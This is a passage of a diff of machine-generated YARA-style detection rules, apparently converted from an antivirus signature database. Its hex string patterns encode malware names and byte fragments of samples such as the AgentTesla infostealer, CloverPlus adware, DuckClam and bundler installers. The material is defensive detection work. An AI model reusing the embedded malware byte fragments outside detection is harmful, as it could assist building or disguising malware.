6f 6d 2f } //111 - $a_51_2 = {51 00 00 78 d2 00 00 04 00 04 00 09 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 43 6c 6f 76 65 72 50 6c 75 73 00 01 00 11 01 75 70 64 61 74 65 72 5f 6c 6f 61 64 64 61 74 65 00 01 00 0a 01 63 5f 75 70 64 61 74 65 72 00 01 00 13 01 25 25 57 49 4e 44 4f 57 53 5c 25 73 65 78 74 2e 63 6f 74 01 00 16 01 2e 70 68 70 3f 63 6c 69 65 6e 74 3d 25 25 43 4c 49 45 4e } //28514 - $a_01_3 = {00 09 01 63 6c 6f 76 65 72 5f 75 00 01 00 0b 01 43 6c 6f 76 65 72 50 6c 75 73 00 01 00 10 01 5f 6c 6f 76 65 63 6c 6f 76 65 72 5f 6c 6f 76 65 01 00 11 01 43 6c 6f 76 65 72 50 6c 75 73 70 72 76 2e 63 6f 74 } //18772 - $a_01_4 = {43 6c 6f 76 65 72 50 6c 75 73 65 78 74 2e 63 6f 74 } //1 CloverPlusext.cot + $a_51_2 = {51 00 00 78 d2 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 72 49 6e 6a 65 63 74 69 6f 6e 2e 43 00 01 00 10 03 33 d2 b9 00 10 00 00 ff 15 90 01 04 48 89 90 00 01 00 13 03 ba 00 00 00 02 48 8b 90 01 02 ff 15 90 01 04 85 c0 90 00 01 00 17 03 41 b9 04 00 00 00 90 01 04 ba 12 00 00 00 48 8b 90 01 02 ff 15 90 00 01 00 32 03 c7 44 24 30 02 00 } //28514 + $a_44_3 = {28 00 00 00 00 c7 44 24 20 00 00 00 00 90 02 04 49 c7 c0 ff ff ff ff 48 c7 c2 ff ff ff ff 48 8b 90 01 02 ff 15 90 00 01 00 2f 03 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 89 90 02 03 c7 44 24 20 00 00 00 00 45 33 c9 45 33 c0 48 8b 90 01 05 33 c9 ff 15 90 00 00 00 78 d2 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 38 00 01 00 26 80 01 2f 70 64 66 50 69 6c 6f 74 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 70 72 69 6d 61 72 79 77 69 6e 64 6f 77 2e 78 61 6d 6c 01 00 30 80 01 2f 70 64 66 50 69 } //0 + $a_3b_4 = {6f 6d 70 6f 6e 65 6e 74 2f 76 69 65 77 73 2f 66 69 72 73 74 64 65 63 69 73 69 6f 6e 76 69 65 77 2e 78 61 6d 6c 01 00 0c 80 01 70 64 66 50 69 6c 6f 74 2e 65 78 65 01 00 08 80 01 50 44 46 50 69 6c 6f 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 d2 00 00 04 00 04 00 09 00 21 23 41 64 } //28524 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_51_2 & 1)*28514+(#a_01_3 & 1)*18772+(#a_01_4 & 1)*1) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_51_2 & 1)*28514+(#a_44_3 & 1)*0+(#a_3b_4 & 1)*28524) >=4 } -rule _InfrastructureShared_14208{ +rule _InfrastructureShared_15141{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 53 79 72 49 6e 6a 65 63 74 69 6f 6e 2e 43 00 01 00 10 03 33 d2 b9 00 10 00 00 ff 15 90 01 04 48 89 90 00 01 00 13 03 ba 00 00 00 02 48 8b 90 01 02 ff 15 90 01 04 85 c0 90 00 01 00 17 03 41 b9 04 00 00 00 90 01 } //21283 + $a_00_1 = {00 00 48 8b 90 01 02 ff 15 90 00 01 00 32 03 c7 44 24 } //-17916 + $a_24_3 = {00 00 00 00 c7 44 24 20 00 00 00 00 90 02 04 49 c7 c0 ff ff ff ff 48 c7 c2 ff ff ff ff 48 8b 90 01 02 ff 15 90 00 01 00 2f 03 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 89 90 02 03 c7 44 24 20 } //-14592 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-17916+(#a_24_3 & 1)*-14592) >=4 + +} +rule _InfrastructureShared_15142{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 38 00 01 00 26 80 01 2f 70 64 66 50 69 6c 6f 74 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 70 72 69 6d 61 72 79 77 69 6e 64 6f 77 2e } //16675 + $a_6c_1 = {00 30 80 01 2f 70 64 66 50 69 6c 6f 74 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 76 69 65 77 73 2f 66 69 72 73 74 64 65 63 69 73 69 6f 6e 76 69 65 77 2e 78 61 6d 6c 01 00 0c 80 01 70 64 66 50 69 6c 6f 74 2e 65 78 65 01 00 08 80 01 50 44 46 50 69 6c 6f 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 } //24952 + $a_65_2 = {65 00 00 78 d2 00 00 04 00 04 00 09 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 43 6c 6f 76 65 72 50 6c 75 73 00 01 00 11 01 75 70 64 } //27756 + $a_72_3 = {6c 6f 61 64 64 61 74 65 00 01 00 0a 01 63 5f 75 70 64 61 74 65 72 00 01 00 13 01 25 25 57 49 4e 44 4f 57 53 5c 25 73 65 78 74 2e 63 6f 74 01 00 16 01 2e 70 68 70 3f 63 6c 69 65 6e 74 3d 25 25 43 4c 49 45 4e 54 49 44 01 00 09 01 63 6c 6f 76 65 72 5f 75 00 01 00 0b 01 43 6c 6f 76 65 72 50 6c 75 73 00 01 } //29793 + $a_5f_4 = {6f } //4096 o + $a_6c_5 = {76 65 72 5f 6c 6f 76 65 01 00 11 01 43 6c 6f 76 65 72 50 6c 75 73 70 72 76 2e 63 6f 74 01 00 11 01 43 6c 6f 76 65 72 50 6c 75 73 65 78 74 2e 63 6f 74 00 00 03 00 78 d2 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 4f 37 } //25974 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24952+(#a_65_2 & 1)*27756+(#a_72_3 & 1)*29793+(#a_5f_4 & 1)*4096+(#a_6c_5 & 1)*25974) >=4 + +} +rule _InfrastructureShared_15143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -162055,7 +172917,7 @@ rule _InfrastructureShared_14208{ ((#a_77_0 & 1)*16675+(#a_44_1 & 1)*21582+(#a_65_2 & 1)*28524+(#a_2e_3 & 1)*24931+(#a_48_5 & 1)*8448+(#a_73_6 & 1)*28526+(#a_00_7 & 1)*25966+(#a_77_8 & 1)*385) >=4 } -rule _InfrastructureShared_14209{ +rule _InfrastructureShared_15144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -162069,7 +172931,7 @@ rule _InfrastructureShared_14209{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28261+(#a_00_2 & 1)*5+(#a_69_3 & 1)*14930+(#a_61_4 & 1)*28009) >=5 } -rule _InfrastructureShared_14210{ +rule _InfrastructureShared_15145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -162077,42 +172939,28 @@ rule _InfrastructureShared_14210{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4a 31 32 33 21 4d 54 42 00 01 00 15 81 01 6e 6f 6e 73 79 6e 6f 70 74 69 63 20 73 65 70 74 6f 74 6f 6d 79 01 00 1b 81 01 6e 79 61 6c 61 20 75 68 61 6e 64 65 6c 69 67 68 65 64 73 20 70 6f 6c 65 } //18467 $a_01_1 = {00 21 81 01 69 6d 70 61 6c 61 20 6d 6f 74 69 6f 6e 73 63 79 6b 65 6c 20 6b 6f 6e 73 74 65 72 6e 65 72 65 64 65 01 00 15 81 01 72 65 61 63 74 69 6f 6e 61 72 69 65 73 20 74 65 6c 74 65 6e 65 01 00 29 81 01 73 77 61 6d 70 62 65 72 72 69 65 73 20 63 68 61 72 69 74 61 62 6c 65 20 62 6f 67 73 6b } //29806 $a_6e_2 = {6e 67 65 72 6e 65 73 00 00 78 d2 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 41 70 70 42 75 6e 64 6c 65 72 5f 4e 53 49 53 53 74 72 69 6e 67 73 00 02 00 0a 01 74 68 6c 70 5f 6d 75 74 65 78 01 00 44 01 58 76 69 64 20 66 72 6f 6d 20 61 70 70 62 75 6e 64 6c 65 72 20 73 65 72 76 65 72 73 20 61 6c 73 6f 20 70 72 6f 76 69 64 65 73 20 79 6f 75 20 77 69 74 68 } //26994 - $a_6f_3 = {73 6f 72 20 6f 66 66 65 72 73 2e 00 01 00 0b 01 41 70 70 42 75 6e 64 6c 65 72 00 01 00 18 01 47 65 74 53 6f 66 74 77 61 72 65 46 72 6f 6d 49 43 53 2e 61 73 70 78 3f 01 00 0d 01 76 69 63 2e 61 73 70 78 3f 76 65 72 3d 01 00 16 01 74 72 61 63 6b 65 64 65 76 65 6e 74 2e 61 73 70 78 3f 76 65 72 3d 00 00 78 d2 00 00 06 00 06 00 05 00 21 23 } //29472 - $a_3a_4 = {55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 41 74 6f 7a 44 6f 77 6e 6c 6f 61 64 65 72 2e 52 47 38 00 02 00 18 80 01 64 72 69 76 65 72 73 2e 64 6f 77 6e 6c 6f 61 64 61 74 6f 7a 2e 63 6f 6d 02 00 0c 80 } //19521 + $a_6f_3 = {73 6f 72 20 6f 66 66 65 72 73 2e 00 01 00 0b 01 41 70 70 42 75 6e 64 6c 65 72 00 01 00 18 01 47 65 74 53 6f 66 74 77 61 72 65 46 72 6f 6d 49 43 53 2e 61 73 70 78 3f 01 00 0d 01 76 69 63 2e 61 73 70 78 3f 76 65 72 3d 01 00 16 01 74 72 61 63 6b 65 64 65 76 65 6e 74 2e 61 73 70 78 3f 76 65 72 3d 00 00 78 d2 00 00 06 00 06 00 06 00 21 23 } //29472 + $a_3a_4 = {55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 69 76 6f 74 41 6e 69 6d 61 74 6f 72 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 52 00 01 00 14 80 01 70 69 76 6f 74 73 74 69 63 6b 5f 53 65 74 75 70 } //19521 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29806+(#a_6e_2 & 1)*26994+(#a_6f_3 & 1)*29472+(#a_3a_4 & 1)*19521) >=5 } -rule _InfrastructureShared_14211{ +rule _InfrastructureShared_15146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_54_0 = {3a 41 70 70 42 75 6e 64 6c 65 72 5f 4e 53 49 53 53 74 72 69 6e 67 73 00 02 00 0a 01 74 68 6c 70 5f 6d 75 74 65 78 01 00 44 01 58 76 69 64 20 66 72 6f 6d 20 61 70 70 62 75 6e 64 6c 65 72 20 73 65 72 76 65 72 73 20 61 6c 73 6f 20 70 72 6f 76 69 64 65 } //18467 - $a_6f_1 = {20 77 69 74 68 20 73 70 6f 6e 73 6f 72 20 6f 66 66 65 72 73 2e 00 01 00 0b 01 41 70 70 42 75 6e 64 6c 65 72 00 01 00 18 01 47 65 74 53 6f 66 74 77 61 72 65 46 72 6f 6d 49 43 53 2e 61 73 70 78 3f 01 00 0d 01 76 69 63 2e 61 73 70 78 3f 76 65 72 3d 01 00 16 01 74 72 61 63 6b 65 64 65 76 65 6e 74 2e 61 73 70 78 3f 76 65 72 3d 00 00 78 d2 00 00 06 00 06 00 05 00 21 } //8307 - $a_46_2 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 41 74 6f 7a 44 6f 77 6e 6c 6f 61 64 65 72 2e 52 47 38 00 02 00 18 80 01 64 72 69 76 65 72 73 2e 64 6f 77 6e 6c 6f 61 64 61 74 6f 7a 2e 63 6f 6d 02 00 0c 80 01 44 6f 77 6e } //16675 - $a_64_3 = {74 6f 5a 01 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 12 80 01 64 72 69 76 65 72 73 5f 64 6f 77 6e 6c 6f 61 64 65 72 01 00 41 80 01 5c 61 74 6f 7a 20 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 6f 77 6e 6c 6f 61 64 65 72 5f 46 69 6e 61 6c 5c 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 65 } //28524 - $a_5c_4 = {6f 77 6e 6c 6f 61 64 65 72 2e 70 64 62 00 00 78 d2 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 69 76 6f 74 41 6e 69 6d 61 74 6f 72 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 52 00 01 00 14 80 01 70 69 76 6f 74 73 74 69 63 6b 5f 53 65 74 75 70 2e } //30050 - $a_01_5 = {00 13 80 01 69 6e 73 74 61 6c 6c 65 72 5f 61 6e 61 6c 79 74 69 63 73 01 00 12 80 01 44 6f 74 53 65 74 75 70 20 49 6e 73 74 61 6c 6c 65 72 01 00 0b 80 01 44 6f 74 53 65 74 75 70 53 44 4b 01 00 18 80 01 43 72 65 61 74 65 54 6f 6f 6c 68 65 6c 70 33 32 53 6e 61 70 73 68 6f 74 01 00 18 80 01 44 6f 77 6e 6c } //30821 + $a_6f_1 = {20 77 69 74 68 20 73 70 6f 6e 73 6f 72 20 6f 66 66 65 72 73 2e 00 01 00 0b 01 41 70 70 42 75 6e 64 6c 65 72 00 01 00 18 01 47 65 74 53 6f 66 74 77 61 72 65 46 72 6f 6d 49 43 53 2e 61 73 70 78 3f 01 00 0d 01 76 69 63 2e 61 73 70 78 3f 76 65 72 3d 01 00 16 01 74 72 61 63 6b 65 64 65 76 65 6e 74 2e 61 73 70 78 3f 76 65 72 3d 00 00 78 d2 00 00 06 00 06 00 06 00 21 } //8307 + $a_46_2 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 69 76 6f 74 41 6e 69 6d 61 74 6f 72 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 52 00 01 00 14 80 01 70 69 76 6f 74 73 74 69 63 6b 5f 53 65 74 75 70 2e 65 78 65 01 } //16675 + $a_01_3 = {69 6e 73 74 61 6c 6c 65 72 5f 61 6e 61 6c 79 74 69 63 73 01 00 12 80 01 44 6f 74 53 65 74 75 70 20 49 6e 73 74 61 6c 6c 65 72 01 00 0b 80 01 44 6f 74 53 65 74 75 70 53 44 4b 01 00 18 80 01 43 72 65 61 74 65 54 6f 6f 6c 68 65 6c 70 33 32 53 6e 61 70 73 68 6f 74 01 00 18 80 01 44 6f 77 6e 6c 6f 61 64 55 52 4c 73 2f 44 6f 77 6e 6c 6f 61 64 55 52 4c 00 00 78 d2 00 00 06 00 06 00 06 00 } //4864 + $a_53_4 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 32 35 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 } //8993 + $a_00_5 = {0b } //29795 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8307+(#a_46_2 & 1)*16675+(#a_64_3 & 1)*28524+(#a_5c_4 & 1)*30050+(#a_01_5 & 1)*30821) >=5 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8307+(#a_46_2 & 1)*16675+(#a_01_3 & 1)*4864+(#a_53_4 & 1)*8993+(#a_00_5 & 1)*29795) >=5 } -rule _InfrastructureShared_14212{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 41 74 6f 7a 44 6f 77 6e 6c 6f 61 64 65 72 2e 52 47 38 00 02 00 18 80 01 64 72 69 76 65 72 73 2e 64 6f 77 6e 6c 6f 61 64 61 74 6f 7a 2e 63 6f 6d 02 00 0c 80 01 44 6f 77 6e } //16675 - $a_64_1 = {74 6f 5a 01 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 12 80 01 64 72 69 76 65 72 73 5f 64 6f 77 6e 6c 6f 61 64 65 72 01 00 41 80 01 5c 61 74 6f 7a 20 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 6f 77 6e 6c 6f 61 64 65 72 5f 46 69 6e 61 6c 5c 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 65 } //28524 - $a_5c_2 = {6f 77 6e 6c 6f 61 64 65 72 2e 70 64 62 00 00 78 d2 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 69 76 6f 74 41 6e 69 6d 61 74 6f 72 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d 52 00 01 00 14 80 01 70 69 76 6f 74 73 74 69 63 6b 5f 53 65 74 75 70 2e } //30050 - $a_01_3 = {00 13 80 01 69 6e 73 74 61 6c 6c 65 72 5f 61 6e 61 6c 79 74 69 63 73 01 00 12 80 01 44 6f 74 53 65 74 75 70 20 49 6e 73 74 61 6c 6c 65 72 01 00 0b 80 01 44 6f 74 53 65 74 75 70 53 44 4b 01 00 18 80 01 43 72 65 61 74 65 54 6f 6f 6c 68 65 6c 70 33 32 53 6e 61 70 73 68 6f 74 01 00 18 80 01 44 6f 77 6e 6c } //30821 - $a_55_4 = {4c 73 2f 44 6f 77 6e 6c 6f 61 64 55 52 4c 00 00 78 d2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 32 35 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f } //24943 - condition: - ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28524+(#a_5c_2 & 1)*30050+(#a_01_3 & 1)*30821+(#a_55_4 & 1)*24943) >=6 - -} -rule _InfrastructureShared_14213{ +rule _InfrastructureShared_15147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162127,7 +172975,7 @@ rule _InfrastructureShared_14213{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*4864+(#a_53_2 & 1)*8993+(#a_00_3 & 1)*29795+(#a_6f_4 & 1)*385+(#a_00_5 & 1)*29295) >=6 } -rule _InfrastructureShared_14214{ +rule _InfrastructureShared_15148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162142,7 +172990,7 @@ rule _InfrastructureShared_14214{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_51_2 & 1)*14438+(#a_61_3 & 1)*29550+(#a_71_4 & 1)*21090+(#a_6e_5 & 1)*24948) >=6 } -rule _InfrastructureShared_14215{ +rule _InfrastructureShared_15149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162157,7 +173005,7 @@ rule _InfrastructureShared_14215{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_81_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_d2_5 & 1)*0) >=6 } -rule _InfrastructureShared_14216{ +rule _InfrastructureShared_15150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162171,7 +173019,7 @@ rule _InfrastructureShared_14216{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8307+(#a_42_2 & 1)*24948+(#a_00_3 & 1)*120+(#a_65_4 & 1)*29295) >=6 } -rule _InfrastructureShared_14217{ +rule _InfrastructureShared_15151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162185,7 +173033,7 @@ rule _InfrastructureShared_14217{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*67+(#a_2e_3 & 1)*28532+(#a_01_4 & 1)*27765+(#a_6f_5 & 1)*21562) >=6 } -rule _InfrastructureShared_14218{ +rule _InfrastructureShared_15152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -162201,7 +173049,7 @@ rule _InfrastructureShared_14218{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*16756+(#a_d2_2 & 1)*0+(#a_43_3 & 1)*-32498+(#a_49_4 & 1)*29793+(#a_69_5 & 1)*14958+(#a_72_6 & 1)*22132) >=7 } -rule _InfrastructureShared_14219{ +rule _InfrastructureShared_15153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -162217,7 +173065,7 @@ rule _InfrastructureShared_14219{ ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*20837+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=7 } -rule _InfrastructureShared_14220{ +rule _InfrastructureShared_15154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -162232,7 +173080,7 @@ rule _InfrastructureShared_14220{ ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*29281+(#a_65_2 & 1)*26963+(#a_4f_4 & 1)*384+(#a_65_5 & 1)*11891+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_14221{ +rule _InfrastructureShared_15155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -162248,7 +173096,7 @@ rule _InfrastructureShared_14221{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*16754+(#a_00_2 & 1)*7+(#a_6f_3 & 1)*16954+(#a_59_4 & 1)*19575+(#a_3a_6 & 1)*19521+(#a_4e_7 & 1)*17153) >=7 } -rule _InfrastructureShared_14222{ +rule _InfrastructureShared_15156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -162266,7 +173114,7 @@ rule _InfrastructureShared_14222{ ((#a_41_0 & 1)*20515+(#a_67_1 & 1)*20585+(#a_61_2 & 1)*29550+(#a_74_3 & 1)*31090+(#a_3a_4 & 1)*21587+(#a_61_5 & 1)*21618+(#a_48_7 & 1)*8448+(#a_72_8 & 1)*25089+(#a_81_9 & 1)*1) >=7 } -rule _InfrastructureShared_14223{ +rule _InfrastructureShared_15157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -162282,7 +173130,7 @@ rule _InfrastructureShared_14223{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*29255+(#a_80_2 & 1)*1+(#a_d2_3 & 1)*0+(#a_01_4 & 1)*2048+(#a_01_6 & 1)*3072+(#a_73_7 & 1)*30837) >=8 } -rule _InfrastructureShared_14224{ +rule _InfrastructureShared_15158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -162299,7 +173147,7 @@ rule _InfrastructureShared_14224{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29295+(#a_65_2 & 1)*278+(#a_62_3 & 1)*-32500+(#a_6e_4 & 1)*25711+(#a_73_5 & 1)*30837+(#a_00_6 & 1)*29285+(#a_64_7 & 1)*384) >=8 } -rule _InfrastructureShared_14225{ +rule _InfrastructureShared_15159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -162314,7 +173162,7 @@ rule _InfrastructureShared_14225{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*23653+(#a_6e_2 & 1)*25971+(#a_00_3 & 1)*29555+(#a_61_4 & 1)*384+(#a_42_7 & 1)*8448) >=8 } -rule _InfrastructureShared_14226{ +rule _InfrastructureShared_15160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -162329,7 +173177,7 @@ rule _InfrastructureShared_14226{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*-32754+(#a_61_2 & 1)*25964+(#a_42_5 & 1)*8448+(#a_05_6 & 1)*28524+(#a_20_7 & 1)*19794) >=9 } -rule _InfrastructureShared_14227{ +rule _InfrastructureShared_15161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -162345,7 +173193,7 @@ rule _InfrastructureShared_14227{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*19789+(#a_61_2 & 1)*26989+(#a_63_3 & 1)*30322+(#a_73_4 & 1)*28265+(#a_00_6 & 1)*0+(#a_6e_7 & 1)*27247) >=10 } -rule _InfrastructureShared_14228{ +rule _InfrastructureShared_15162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 09 00 21 " @@ -162361,7 +173209,7 @@ rule _InfrastructureShared_14228{ ((#a_5f_0 & 1)*16931+(#a_43_1 & 1)*22340+(#a_43_2 & 1)*25972+(#a_52_5 & 1)*21320+(#a_04_6 & 1)*-28632+(#a_2c_7 & 1)*4366+(#a_6f_8 & 1)*400) >=11 } -rule _InfrastructureShared_14229{ +rule _InfrastructureShared_15163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -162375,7 +173223,7 @@ rule _InfrastructureShared_14229{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5647+(#a_90_2 & 1)*27022+(#a_01_3 & 1)*24933+(#a_04_4 & 1)*-28531) >=13 } -rule _InfrastructureShared_14230{ +rule _InfrastructureShared_15164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -162388,7 +173236,7 @@ rule _InfrastructureShared_14230{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*400+(#a_13_2 & 1)*-25577+(#a_61_3 & 1)*29806) >=18 } -rule _InfrastructureShared_14231{ +rule _InfrastructureShared_15165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -162402,21 +173250,34 @@ rule _InfrastructureShared_14231{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*4868+(#a_d6_2 & 1)*1297+(#a_76_3 & 1)*20993+(#a_54_4 & 1)*28261) >=20 } -rule _InfrastructureShared_14232{ +rule _InfrastructureShared_15166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 4b 21 4d 54 42 00 0a 00 53 02 0a 02 06 28 90 01 04 0b 07 2d 05 14 13 04 de 45 07 28 90 01 04 0d de 0a 07 2c 06 07 6f 90 01 04 dc 03 06 28 90 01 04 0c 08 2c 14 08 28 90 } //18467 $a_05_1 = {09 11 05 28 90 01 04 13 04 de 13 de 0a 08 2c 06 08 6f 90 } //1025 - $a_09_2 = {28 90 01 04 2a 11 04 2a 90 00 02 00 0c 80 01 53 79 6e 63 68 72 6f 6e 69 7a 65 64 02 00 0d 80 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 02 00 05 80 01 44 65 6c 65 67 02 00 10 80 01 54 6f 4c 6f 77 65 72 49 6e 76 61 72 69 61 6e 74 02 00 05 80 01 45 6d 61 69 6c 00 00 78 d2 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 75 63 6b 43 6c 61 6d 2e 42 21 64 68 61 00 64 00 3a 01 57 00 53 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 48 00 6f 00 6d 00 65 00 2e 00 41 00 70 00 70 00 49 00 44 00 2e 00 4e 00 6f 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 64 00 2c 01 4e 00 6f 00 20 00 45 